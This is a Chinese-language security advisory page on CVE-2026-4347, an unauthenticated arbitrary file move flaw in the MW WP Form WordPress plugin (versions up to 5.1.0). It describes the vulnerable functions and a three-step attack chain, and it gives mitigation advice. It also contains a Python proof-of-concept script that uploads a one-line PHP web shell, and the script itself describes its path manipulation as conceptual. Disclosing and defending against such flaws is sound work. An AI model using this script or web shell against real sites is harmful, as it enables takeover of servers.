IPBUF安全漏洞报告
English
CVE-2026-4347 CVSS 8.1 高危

CVE-2026-4347: MW WP Form插件任意文件移动漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-4347
漏洞类型
任意文件移动
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MW WP Form (WordPress Plugin)

相关标签

RCE文件移动WordPressMW WP FormCVE-2026-4347

漏洞概述

WordPress MW WP Form插件在5.1.0及之前版本中存在高危漏洞。由于文件路径验证不足,攻击者无需认证即可触发任意文件移动操作。在满足特定配置条件下,攻击者可移动关键文件如wp-config.php,从而轻松实现远程代码执行,严重威胁服务器安全。

技术细节

该漏洞位于MW WP Form插件的`generate_user_filepath`和`move_temp_file_to_upload_dir`函数中。当表单包含文件上传字段且启用了“保存咨询数据到数据库”功能时,插件未严格验证用户输入的文件路径。攻击者可利用此缺陷,通过发送特制的POST请求,将服务器上的任意文件(如临时上传文件)移动至Web根目录或其他敏感位置。例如,攻击者可以将一个包含PHP代码的文件移动为可执行的.php文件,或者移动wp-config.php以破坏站点配置,最终导致远程代码执行(RCE)。

攻击链分析

STEP 1
侦察
攻击者扫描目标WordPress站点,确认是否安装了MW WP Form插件,并查找包含文件上传字段的表单。
STEP 2
漏洞利用
攻击者向受影响的表单提交恶意构造的请求,利用插件未严格过滤路径的特性,指定将临时文件移动到Web目录(如shell.php)。
STEP 3
执行代码
攻击者访问被移动后的恶意文件URL,在服务器端执行任意PHP代码,从而获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: MW WP Form < 5.1.0 - Unauthenticated Arbitrary File Move to RCE # Date: 2026-04-02 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/plugins/mw-wp-form/ # Version: <= 5.1.0 # Usage: python3 exploit.py <target_url> def exploit(target_url): upload_url = f"{target_url}/wp-admin/admin-ajax.php" # The form must have a file upload field and 'Saving inquiry data in database' enabled # This payload attempts to move a uploaded file to a web accessible location data = { 'mw_wp_form_service': 'save', 'mw_wp_form_key': '<FORM_KEY>', # Replace with actual form key found in page source # ... other form fields ... } files = { 'file_field_name': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } # Vulnerability allows manipulating the path via generate_user_filepath # This is a conceptual representation of the parameter manipulation response = requests.post(upload_url, data=data, files=files) if response.status_code == 200: print("[+] Payload sent. Check if the file was moved to the target directory.") else: print("[-] Exploit failed.") if __name__ == "__main__": import sys if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") else: exploit(sys.argv[1])

影响范围

MW WP Form <= 5.1.0

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用插件中的“Saving inquiry data in database”(保存咨询数据到数据库)功能,或者从表单中移除文件上传字段,以阻断未认证攻击者利用该漏洞的路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表